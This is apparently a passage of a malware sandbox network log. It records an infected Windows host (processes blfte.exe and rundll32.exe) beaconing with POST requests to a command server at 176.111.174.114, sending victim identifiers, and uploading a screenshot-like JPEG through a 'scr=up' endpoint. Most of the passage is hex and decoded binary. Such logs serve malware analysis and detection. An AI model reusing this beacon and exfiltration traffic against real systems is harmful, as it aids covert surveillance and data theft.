Apr 28, 2021 23:23:50.394454002 CEST	10302	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
549	176.111.174.114	80	192.168.2.5	50040	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:50.498352051 CEST	10303	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:50 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	176.111.174.114	80	192.168.2.5	49740	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:32.073405981 CEST	1591	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:32 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
550	192.168.2.5	50041	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:50.701194048 CEST	10303	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
551	176.111.174.114	80	192.168.2.5	50041	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:50.804183960 CEST	10304	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:50 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
552	192.168.2.5	50042	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:51.014630079 CEST	10305	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
553	176.111.174.114	80	192.168.2.5	50042	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:51.117253065 CEST	10305	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:51 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
554	192.168.2.5	50043	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:51.331300020 CEST	10306	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
555	176.111.174.114	80	192.168.2.5	50043	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:51.437341928 CEST	10306	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:51 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
556	192.168.2.5	50044	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:51.640566111 CEST	10307	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
557	192.168.2.5	50045	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:51.712034941 CEST	10320	OUT	POST //Hnq8vS/index.php?scr=up HTTP/1.1 Host: 176.111.174.114 User-Agent: Uploador Content-Type: multipart/form-data; boundary=152138533219.jpg Connection: Keep-Alive Content-Length: 185541 Data Raw: 2d 2d 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a ff c0 00 11 08 04 00 05 00 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa ff c4 00 1f 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 fc 50 8a 2f 2e 9f 52 fd 8f 77 5c d2 ec 35 fa 5c 69 9f 07 ce 47 1f 7a 75 7b 17 c1 af d8 53 f6 86 f8 d3 e1 3b 2f 89 1a 56 81 65 a2 f8 4f 50 9e 48 ad 3c 51 e2 2b f5 b7 b5 99 a3 72 92 18 91 43 4f 70 15 c1 56 30 c5 26 d2 08 38 22 bd df e1 ff 00 fc 13 93 e0 87 85 f6 5d 7c 4a f1 de b3 e2 bb c5 5c b5 9e 91 12 e9 b6 28 e0 f4 f3 1c 49 35 c4 67 d9 6d 9f e9 58 d5 c4 e1 e9 68 e5 af 91 ac 28 56 a8 ae 96 87 c5 29 f7 6a c2 7d da fd 19 bd fd 87 ff 00 63 8f 1a 78 7f ec 6f f0 5a 7f 0f c8 cd 95 d4 7c 2f e2 7b e5 b8 07 8c 03 f6 e9 2e a2 2b ea 3c b0 c7 b3 0a f2 1f 88 7f f0 49 df 12 c4 b2 5d fc 0b f8 c9 a4 eb a0 6e 31 e8 fe 27 87 fb 22 f1 cf 50 89 29 79 2d 58 01 c6 f9 26 87 24 7d d1 9e 2a 9e 3f 0f 3d f4 f5 26 b6 0e bc 76 57 f4 3e 45 a4 55 c6 45 76 df 16 7f 67 5f 8e 7f 01 ee a3 8b e2 ef c2 bd 6b 42 8a 79 0a 59 df de 59 37 d8 ef 08 19 fd c5 ca e6 19 c6 3b c6 ec 38 3c f1 5c 5b 6f ef 5d d1 94 65 0b a7 73 85 a9 45 d9 90 c7 1b d0 fd 3f 1a 96 9a f8 ee 29 72 15 cd 76 57 93 b5 44 e3 9f ad 4b 27 6a 6e dd dc 62 b1 94 4d e3 b9 4e 44 3e b5 1d 7e c7 f8 9b fe 0d 34 d5 7c 37 75 f6 7b ff 00 db 9f 74 2e d8 86 e5 3e 18 65 5f ff 00 2a 7c 1f 6f e6 39 aa d6 bf f0 6a 22 dc f5 fd bd f6 ff 00 dd 2d cf fe e5 2b f3 2a de 2b f0 05 29 b8 4f 19 66 bf e9 dd 6f fe 56 7d 64 38 4b 88 a5 1e 65 43 4f f1 43 ff 00 92 3f 1e a3 eb f8 54 be 53 fa 57 ec 8d b7 fc 1a 4e 2e 17 1f f0 f0 1d bc ff 00 d1 29 cf fe e5 6b f2 8b f6 87 f8 44 df b3 ff 00 ed 09 e3 df 80 8f af 8d 58 f8 27 c6 5a a6 80 75 51 6b e4 0b c3 67 77 2d bf 9d e5 ee 6f 2f 7f 97 bb 6e e6 db 9c 64 e3 35 ef 70 ff 00 19 70 df 13 d5 9d 3c b2 bf b4 94 12 6f dd 9c 6c 9e 9f 6a 31 fc 0f 3b 31 c9 73 3c ae 2a 58 aa 7c a9 e8 b5 8b fc 9b 38 a7 39 38 a1 36 7f 1d 39 d1 b3 9a 65 7d 49 e5 0e 65 fe e5 21 56 5e a2 92 9d bc d0 1b 11 f9 7e f4 2a f7 34 f7 eb 5f af bf f0 6e 6f fc 12 17 f6 1d ff 00 82 90 7e cd Data Ascii: --152138533219.jpgContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-streamJFIFCC"}!1AQa"q2#BR$3br%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzw!1AQaq"2B#3Rbr$4%&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?P/.Rw\5\iGzu{S;/VeOPH<Q+rCOpV0&8"]\|J\(I5gmXh(V)j}cxoZ\|/{.+<I]n1'"P)y-X&$}?=&vW>EUEvg_kByYY7;8<\[o]esE?)rvWDK'jnbMND>~4\|7u{t.>e_\|o9j"-++)OfoV}d8KeCOC?TSWN.)kDX'ZuQkgw-o/nd5pp<olj1;1s<X\|89869e}Ie!V^~4_no~>K-[R9t/w6_gcmA~r 9qXxJ^w<MNH~@C5\|\>;$62>x}<uw5oa?_r3#~?/Oz_W<Cu3V2m yXZW_x[[B$)! zLml[aj3\snV&L3y{NijJ@\|RKE6M%tTQO0hR(()`sKNm;Q!T_\iFE7UrNz6zQQ9 GN&XCTn3iKi}jDB{EP@QEQEP7J2Iw) ($ruNm"a:;bON6(sbUW3N.KKzuPN?N)6(~4'O\|:ED'g#X_I'jN5ET%6N-)<)R>fQEQS OWEfaE/~4QErk>MD\FEC'jmML{h,Q@I<O/4EvEQEih-G@%SR>>1Q@Q@()$J:NPfSloPtZ>a:TNw_-Y&3D8e]KJR~w?47aH'%ozF}KOp$a}#N&\|_7eV94kH`=A!G>6`IJWIVI'Y+98J4UscSLftN5?-Nr~b=m=SY q^Cd-6m#!dk0#=^wb)bBkip.7M(5t_~#[Z<"C/]7rXg5?_Q- xXg561F?W'UW/'c?>3zl+GUGYsh/m&N$A(4rO'Hrv?zd=[5.#7{EL'wsWeGkd+UsxN5.3[CO<n}h<OJ?2"OQ_2+/p1?[uCl~?QWTzY_g?j\|Ef#^-CQ&C.e8`?)Lo.mqx_$f\|(6,>hlfPAbf7/Q_}:}N,D&02Kf0YXI#zv[M<&>JZI4Yo:;O+oY6]X.YU7(.+6N5iSI\|Y--wm.rFk$O\|Z>\|IE"$mm{<T@ ~'<+QjnS~m\|::S,S$?7%~{QEOMe)HzV]M:ecGZJ(:+>@"\|'z{BG+0y~eJ?;}UF>}Ei"~KQR<\|~rseT(4%QPMiUK`!jjdGOOGR0(3(%QLQE((N:t}SN$ I:~4:~4NZu^aRq"AFTg{4l5+.eW(<N#!SN:E)L~=c(A~Xm(VJ_DTQEbhC'jm=~4Vm6NGE=<n(MW)\R&oTQtTTGE:N)N(((nUsj%1%(gwSOm@R8'-.FJuJRB'jGEZwOYE)'- ($BsRlQr'~4/TI\))SRN]J}TPqs3"AZxWW;#?gkk4rDV`+`%gO5\|xzw-STcPT4D9=q_\|.[x+rVTa GAZB\|-jj]iYBgTe"jB3VvSMm]Ofx>7mk&rm@(Io~#x"{8@xDDz\|\|\|W#rC8LUdJ-{evd>3(akVu6wd]$.:oF96Q3GdRJ?GO>y5Sy}GCw_A,_{R]MzeBFm5 f7Q>+Df'@wsCL::}+K.PW/#kg,NI>yCUw7v?a`zI_^z>&9GQ(]4'q9)>=3N~[.X>Q[&5E?gW&\|4nwg5BgeQ9Oor?Qo)\|^Rr8m7^Oj59+%(l_bSMqR<{8Cr9;TFeI3YJ&+WrbgUH6t'pHW+z3<}EZ]/9ch(vV,1"bBcN{g]^_6xic,>I??s!=$L5U_?jPi\|}SZ]XxU1k=woug?duxJ^ZlC2,t<e^pf$'.i:9?X:[vF+NY]D5~IKWO_MIo4mn~&u1<.gnix,WibS{<vNvyQ@GM3czT;P2?//Oz<z\|z8iDRQLoQ~5wq#':~v($tF-vV1!Ry~73ul4KLzmNfcN~)_#Ry($(QN_w>#KXhx/e%7}HDAZ6j"&9QE;co3.$-PD'Zu6>:>DNdMH?ZD)=V]K8O\|P?yA};!\|/)\heIR5~S>qQ4DO&NvXH;vYs2:MRl(2 OeI6'j'j$=HiEH)vDi67>P#'j0E<C.y.9'O(%GRhQEQEfEPQ`(S_:czRQ@)(t}S@Q@S-QEaEPEPEP$F'?ZOoCNu^4<sW[,r["jn_i+sm?Iu3{Fo>qo~\|Zy#z/>/rB) e8j,k.t/pY=gWa0xqJXsP!!mMi$OQO\|[/~;RxBd hc ,UX)<Vd}Z}>[Y'%YrTdyB#]tw}s1o}lC/Wuwe;VAniduOD;\|\|w_+)W[[I-i\[B\ocUK~Ow0uM";g\GHBMpk_b+M_WxlL{gZiwjp?5\|.O\|i]RkM"Y^Orwocv9am_-/?OvuK;&k"D{=ZY#$D5guCOO\|@\|7i/x]Ns.e.a-kwlzF?e^XRUEg+Wgm.v.r;n6M65{KC8<T4GG^/DXL7f!J8V_NNk;oOCz> &i4GDSM=5+iEz>n<w7^Cz&mm=,Ztiu!H"BFq4"VNm&PsItWi7k]5!Nh-7J}ugSTkbb<AJ\|5?t.O#mZ5s\|x@<]jZFZ.tmfE7(i,;VaS^^j\E998KWi-Y4OJ~?O?-[^}O^sx/nQCZX8ci{ElW9h>?gTsztf4dD 6.$6O4qM\d1Gd~3_(yCCMkr~1gjmr}+T&KY&D$nW="aU-'Om['NWKhnV0UIV"jSwJqnre?[J(i/z'Gu;gW'dF1,X 1Q~ gG}#Qa;X\Yyk$HE .ln>~\|js!\|3>}s7766$phTqZUm/VwaJQN/W\|C{i\|>x3kKxW C[8FicGRTl;4ow.\|9y[T]x%#G4t#XL<1d%yp$&vJM=ehE^KW'[FI-L/Tr?cO=_7/K=:Mh?e$VO"O=[KN/c?z!h&t2v#?7\|=-/:\|C=T4-Y-Qsa%4m:mipsi4woV,\yn-Ki+H(P}?J%Ly)R:V\|9Q%+.\|av_::3_Iz9CE}(\#Rq2y~p}NVIiipC2PiRNH>VTITgPW?r}z!}ZH>BcS@H\|P.d@Dh+n1GZQ#.Z-.IwzwGO_!yjH0BNyQEQNJPOkMI\|QJOO'Z}hQW2TRL:ruR?O~ wYS:X-<6AiKEwhHeSY<\dUV$vQ:#!rIZ6l+co%IHT2&sOi_StT?(S\|~@E{G%MloJBV<9s);SjT}_iN'ju5kq;S,R23BrsMhy~QEfEP?TaRR2@e"ENloJ67K5%GOoiy5W<}QEaEPEPEPEPEPV+Q3UL}x3-JE;op\EEm], I,WdVg4.0b_X7gM\-ZZ[G%Kk]?GjOfHw:a\|0{EY6ow.gu"[F#jP^O~Wvho?'\_\-KBT+SOD$$9$h c<K%k{7zidg17.d_eJn'')4NeiRro&kD6}o=\|}~?\x{#mL}6<WikcFPv>\|BLM{O}RUKv6Z$R(E>0B-TQA+\|EN\|vZi{eliU)%h+~~/^_x$k}>[u}2s[xQ3Uuwm\|xOWa >WU.":nbT(eJrbSQM!\|+"{FKm_i]'$OBQiSu?m$5/4dKqk4S^xNI\|S,)7Y^pAgTUT0E{X_R]]vK.$yeQWJw>IkH~(6/7FX\[v-gxyA6G5X[mmo%x^-o]2-=r7"IcL^(#.0&~>P-5[TuxBqRo({Oy]m}},~_W\|<1k<_j_&/-<{>6xNm'L5$2D&{Hgd(fHxj\|]\|ix::~iuEe$xW72JF0yK)@y1!o0wl_%K^e5nk7>_yY}6Uox3S~xh^h::ZJIn%G9kl/^3Z~z~i?fxBj_-5TuAi&FsyrmKX=M7c!;s6+LR,q AYQ=JP].=~~\Y"&nwN?i7[[?j/5u/n4OQmJ[ukxG!6%>kM+a?hZAWKh]EwG#3!FZ9>E6H!8+\|CN;{5h%(M/4w\|$qvY4_+@t39u]<V(R@@l\|Dww-G@CMk;mBZG1q2(TUB+!%#Vx5nfc~?c%\|s_\|H}IttN+R2Ibm'h^bva$4j-7>\B(lTGup;rY8!\|_B#s^NyQy;koK{>hy{Ev#2kCS3OjR,O@>5frZ Zpm0 jdOWxW:Pf4Hdn h"Vb[dn4tCPMi6I4>Vju#vTu4[k_Q~W/$gaKU2~v\|7ogB=[g\|)5.}G\h=kmMH4["8zbc5V":7zk'%guS}W^6nzu^};%u[^?Xj)M5g/m%+s<K!^'"`tOF'r-wd2Z
Apr 28, 2021 23:23:51.816773891 CEST	10323	OUT	Data Raw: 93 b5 68 02 27 de a7 d1 1f 41 f5 a9 28 26 5b 8d 8f bd 3a 8a 2b 42 48 e8 a9 28 a0 08 e9 53 ef 53 e9 7f 87 ee 2d 00 31 a3 e3 ee 51 b0 d3 a9 53 ef 55 72 b1 73 09 45 22 b6 78 35 a9 e0 9b 1b 1d 57 c6 da 36 93 a9 c1 e6 db 5d ea d6 d0 5c 47 b8 8d c8 f2 Data Ascii: h'A(&[:+BH(SS-1QSUrsE"x5W6]\G zs\aZ[E6vaGI*{^M%{&w2wRy~Z~M:\|>?1O>_._U7<;9QI=\|
Apr 28, 2021 23:23:51.816828012 CEST	10326	OUT	Data Raw: 22 bf 9f ff 00 1c 7c 6e f8 d1 f1 39 9d fe 25 7c 5d f1 47 88 5a 42 4c 87 5c d7 ee 6e cb 1c e7 27 cd 76 cf 3c d7 f4 1b e3 6d 0b c6 33 78 cb 57 96 d7 fe 09 a3 e1 2d 7a 26 d4 ee 0c 7a e5 ce bd a3 a4 9a 8a 99 1b 17 2e b2 42 5d 5a 41 f3 90 c4 b0 2d c9 Data Ascii: "\|n9%\|]GZBL\n'v<m3xW-z&z.B]ZA-\|opz4sln^_7{8lro{7}ZgfkrOL{Ye@0p.@xoc~Q_BCZkuqc=q=vg`mmO
Apr 28, 2021 23:23:51.816940069 CEST	10328	OUT	Data Raw: 50 d2 b4 db 58 fc 03 a3 3d 85 84 9a 7f 9b ba f1 9d 61 59 2e 26 de ec 0c 8c 20 4c ed 00 75 e2 bf 7b 7c 49 ff 00 0d d9 ff 00 09 15 ff 00 fc 22 1f f0 a9 7f b2 7e db 2f f6 5f f6 97 f6 a7 da 3e cf bc f9 7e 6e cf 97 cc d9 b7 76 de 33 9c 71 5f 1f c5 98 Data Ascii: PX=aY.& Lu{\|I"~/_>~nv3q_N/CF9[K%HLG*?PK&olOdHGj__wwOou}>]cjNq{B)<XbTX1j"o^_d_nfy[
Apr 28, 2021 23:23:51.817070007 CEST	10331	OUT	Data Raw: a7 dd cb 04 c9 f7 25 86 42 ac bc 63 82 39 1c 57 e8 df fc 10 d3 f6 8d ff 00 82 5e 78 43 4a f8 ab a5 7f c1 5a 7c 62 b2 c7 7d fd 88 3c 04 da ae 9d ad 5f 48 a1 7f b4 3e dd e5 c9 a7 46 ef 0f df b4 ce f2 bb b0 bb 73 b4 e3 f3 ec fc 30 f8 9a 3c 19 ff 00 Data Ascii: %Bc9W^xCJZ\|b}<_H>Fs0<7\|/"Kmck'[vFc ~PoY\|/]CPi&~EQ0]/CJ\'jN5}6~xjGY@_Isis9
Apr 28, 2021 23:23:51.817406893 CEST	10334	OUT	Data Raw: 38 ad 37 b5 dd ee ad e6 35 f4 97 fc 12 2f 48 7f 10 7e df 3e 1d f0 fa 78 4f 57 d7 be dd e0 8f 1b 5b 9d 0f c3 f2 6c bf d4 77 f8 53 56 5f b3 db 37 95 36 d9 a4 ce c4 3e 54 98 66 1f 23 fd d3 f3 70 91 65 45 91 3a 1e 45 43 79 65 6f 7d 17 95 72 99 5a f5 Data Ascii: 875/H~>xOW[lwSV_76>Tf#peE:ECyeo}rZt'V%WVFo~oe_,<om\|7[/Ge~[Qm#{kFh";vKc3H~x_\|Il<cu'A'MZ;o~p
Apr 28, 2021 23:23:51.817665100 CEST	10337	OUT	Data Raw: ee ab cd 1f a5 57 9a 3f ee 56 52 89 ac 64 41 4c 93 e6 3c d4 be 5f bd 37 cb f9 eb 29 44 d6 32 19 e5 9f ee d3 76 0f 7a 9f 61 a6 79 5e c6 97 2b 2b 98 81 ed f1 50 49 6f 57 7c bf 7a 3c bf 7a c6 51 2e 35 2c 65 fd 9b da 9b 5a 52 43 50 49 6f fe cd 4f b3 Data Ascii: W?VRdAL<_7)D2vzay^++PIoW\|z<zQ.5,eZRCPIoO7B+SoQs&:#/fc<zO+U!gZ9_Ll#q/4/Z`Li+D5R$~%;Y0g??bP5q0Ti#17<z](s
Apr 28, 2021 23:23:51.817780972 CEST	10339	OUT	Data Raw: 45 e1 5f 12 78 3f c4 17 fe 12 f1 6e 8f 79 a5 ea ba 5d e4 b6 9a 9e 99 a8 db 34 17 16 97 11 b9 49 21 96 37 01 a3 75 65 2a ca c0 10 41 04 02 2b 6a 35 e8 62 5b 54 a6 a5 6e ce e4 d5 a3 88 a0 93 a9 16 bd 51 47 f7 94 7e f1 aa 46 85 f1 fe 14 d1 1b 2f 53 Data Ascii: E_x?ny]4I!7ue*A+j5b[TnQG~F/Sf67,}q'($}}ijx,CrD,q,,8]RL\TQvb'mh>xO>EJYe5/gyu)FVpn>D;\W7C
Apr 28, 2021 23:23:51.817980051 CEST	10342	OUT	Data Raw: e4 96 77 58 b7 90 b7 98 b2 5a a2 9d a8 19 c6 58 7c c8 bd 4e 01 f9 8c 36 26 b6 12 b2 ab 49 d9 a3 da af 42 96 26 93 a7 51 5d 33 f9 13 d4 74 ed 43 48 d4 27 d2 75 6b 19 ad 6e ad 66 68 6e 6d ae 22 29 24 32 29 21 91 94 f2 ac 08 20 83 c8 22 a3 4e b5 ed Data Ascii: wXZX\|N6&IB&Q]3tCH'uknfhnm")$2)! "NSIoex~BF3}Rz?8N6R<Q0KEjav3q_cQ:#c]H03h+alh+5\|Q,YDI*3=k7E
Apr 28, 2021 23:23:51.818125963 CEST	10345	OUT	Data Raw: 5e 63 fb 46 ff 00 c1 03 fe 04 7c 58 f1 cd f7 8e fe 13 fc 48 d4 3c 12 75 19 9a 6b 9d 19 34 f4 bb b3 49 1b 96 31 02 c8 d1 29 3c ed cb 01 93 b7 68 c0 0e f8 1f ff 00 04 12 fd 99 fe 16 5f 37 8a fe 2c f8 cb 56 f1 dc f6 d1 33 c1 a6 dc 42 b6 76 3b 80 e0 Data Ascii: ^cF\|XH<uk4I1)<h_7,V3Bv;hY\/>}IV'~\|>k}{?Vr'ok5T_xXv\|N.qzkMfN>1.+5/Tm>Tf
Apr 28, 2021 23:23:51.818346977 CEST	10347	OUT	Data Raw: da 54 2f 0e 41 ce 06 3f 9d 2a ce 2e 0a 16 6a df d3 3e ff 00 34 c6 61 e7 81 8e 06 51 94 25 46 dc bc c9 a6 d3 8a e6 e6 5d 1d f5 8f 96 87 d5 7f f0 40 ad 57 c3 91 7c 6e d0 34 9b 9f db 5f c4 1a 1e a5 2f 88 f5 66 b7 f8 1d 6f a5 6a 2f a7 78 85 3f b1 db Data Ascii: T/A?*.j>4aQ%F]@W\|n4_/foj/x?7pD/9da5um?/WxJX<! 2<M$3H#"\|vV[xzmGOohGHM5{u!!u0mo>7@~>mW

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
558	176.111.174.114	80	192.168.2.5	50044	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:51.739432096 CEST	10320	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:51 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
